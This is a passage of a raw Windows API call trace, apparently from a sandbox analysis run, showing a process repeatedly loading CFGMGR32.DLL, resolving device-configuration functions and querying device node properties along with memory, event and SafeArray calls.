CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0182.572] malloc (_Size=0x48) returned 0x196ef0cc850 [0182.572] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4dabf51a, dwHighDateTime=0x1d9eb0c)) [0182.572] SetEvent (hEvent=0x248) returned 1 [0182.576] SetEvent (hEvent=0x248) returned 1 [0182.577] free (_Block=0x196ef0cc850) [0182.577] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0182.578] malloc (_Size=0x48) returned 0x196ef0cd160 [0182.578] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4dae5c6c, dwHighDateTime=0x1d9eb0c)) [0182.579] SetEvent (hEvent=0x248) returned 1 [0182.587] SetEvent (hEvent=0x248) returned 1 [0182.588] free (_Block=0x196ef0cd160) [0182.588] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0182.595] malloc (_Size=0x48) returned 0x196ef0cd160 [0182.595] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4db0bb64, dwHighDateTime=0x1d9eb0c)) [0182.596] SetEvent (hEvent=0x248) returned 1 [0182.597] SetEvent (hEvent=0x248) returned 1 [0182.598] free (_Block=0x196ef0cd160) [0182.599] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x10, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0182.599] malloc (_Size=0x48) returned 0x196ef0cd160 [0182.599] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x4db0bb64, dwHighDateTime=0x1d9eb0c)) [0182.599] SetEvent (hEvent=0x248) returned 1 [0182.602] SetEvent (hEvent=0x248) returned 1 [0182.603] free (_Block=0x196ef0cd160) [0182.603] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x10, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0182.604] malloc (_Size=0x48) returned 0x196ef0cd160 [0182.604] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x4db0bb64, dwHighDateTime=0x1d9eb0c)) [0182.604] SetEvent (hEvent=0x248) returned 1 [0182.656] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.656] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.657] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.657] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.657] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.657] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.657] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.657] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.657] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.657] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.658] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.658] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.658] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.658] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.658] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.658] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.658] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.658] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.659] malloc (_Size=0x18) returned 0x196ef0d1c40 [0182.660] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0182.660] malloc (_Size=0x48) returned 0x196ef0cd160 [0182.660] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4dba4337, dwHighDateTime=0x1d9eb0c)) [0182.660] SetEvent (hEvent=0x248) returned 1 [0182.665] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.665] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.665] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.665] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.666] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.666] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.666] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.666] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.666] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.666] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.666] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.667] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.667] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.667] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.667] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.668] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.669] malloc (_Size=0x18) returned 0x196ef0d1de0 [0182.669] CM_Get_Device_IDA (in: dnDevInst=0x11, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\BASICDISPLAY\\0000") returned 0x0 [0182.669] malloc (_Size=0x48) returned 0x196ef0ccda0 [0182.669] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x4dbca8fb, dwHighDateTime=0x1d9eb0c)) [0182.669] SetEvent (hEvent=0x248) returned 1 [0182.672] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.672] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.675] malloc (_Size=0x18) returned 0x196ef0d20e0 [0182.675] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0182.675] malloc (_Size=0x26) returned 0x196ef0f9a30 [0182.675] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0f9a30, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f9a30, pulLength=0x67117d608) returned 0x0 [0182.675] free (_Block=0x196ef0f9a30) [0182.675] malloc (_Size=0x48) returned 0x196ef0ccda0 [0182.676] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4dbca8fb, dwHighDateTime=0x1d9eb0c)) [0182.676] SetEvent (hEvent=0x248) returned 1 [0182.678] malloc (_Size=0x18) returned 0x196ef0d1e60 [0182.678] SafeArrayPutElement (psa=0x196ef1f2b30, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0182.678] free (_Block=0x196ef0d1e60) [0182.678] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855ae0 [0182.678] SafeArrayGetDim (psa=0x196ef1f2b30) returned 0x1 [0182.678] SafeArrayGetLBound (in: psa=0x196ef1f2b30, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0182.678] SafeArrayGetUBound (in: psa=0x196ef1f2b30, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0182.678] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6110 [0182.678] SafeArrayGetDim (psa=0x196ef1f2b30) returned 0x1 [0182.678] SafeArrayGetUBound (in: psa=0x196ef1f2b30, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0182.678] SafeArrayGetElemsize (psa=0x196ef1f2b30) returned 0x8 [0182.679] SafeArrayGetElement (in: psa=0x196ef1f2b30, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0182.679] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225cc0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0182.679] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6110) returned 1 [0182.680] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855ae0) returned 1 [0182.680] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.680] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.683] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.683] malloc (_Size=0x18) returned 0x196ef0d1d00 [0182.683] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0182.683] malloc (_Size=0x48) returned 0x196ef0ccda0 [0182.684] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4dbf0a26, dwHighDateTime=0x1d9eb0c)) [0182.684] SetEvent (hEvent=0x248) returned 1 [0182.686] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.686] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.689] malloc (_Size=0x18) returned 0x196ef0d1e60 [0182.689] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0182.694] malloc (_Size=0x48) returned 0x196ef0ccda0 [0182.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4dbf0a26, dwHighDateTime=0x1d9eb0c)) [0182.695] SetEvent (hEvent=0x248) returned 1 [0182.696] SetEvent (hEvent=0x248) returned 1 [0182.696] free (_Block=0x196ef0ccda0) [0182.696] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0182.697] malloc (_Size=0x48) returned 0x196ef0cc850 [0182.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4dbf0a26, dwHighDateTime=0x1d9eb0c)) [0182.697] SetEvent (hEvent=0x248) returned 1 [0182.698] SetEvent (hEvent=0x248) returned 1 [0182.698] free (_Block=0x196ef0cc850) [0182.746] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0182.747] malloc (_Size=0x48) returned 0x196ef0cc850 [0182.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4dc89245, dwHighDateTime=0x1d9eb0c)) [0182.747] SetEvent (hEvent=0x248) returned 1 [0182.750] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.750] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.750] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.750] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.751] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.751] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.751] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.751] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.751] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.751] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.751] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.752] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.752] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.752] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.752] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.752] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.752] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.752] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.753] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.753] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.753] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.753] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.753] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.753] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0182.753] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0182.754] malloc (_Size=0x48) returned 0x196ef0cc850 [0182.754] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4dc89245, dwHighDateTime=0x1d9eb0c)) [0182.754] SetEvent (hEvent=0x248) returned 1 [0182.759] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.759] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.761] GetProcAddress (hModule=0x7ffa786c0000, 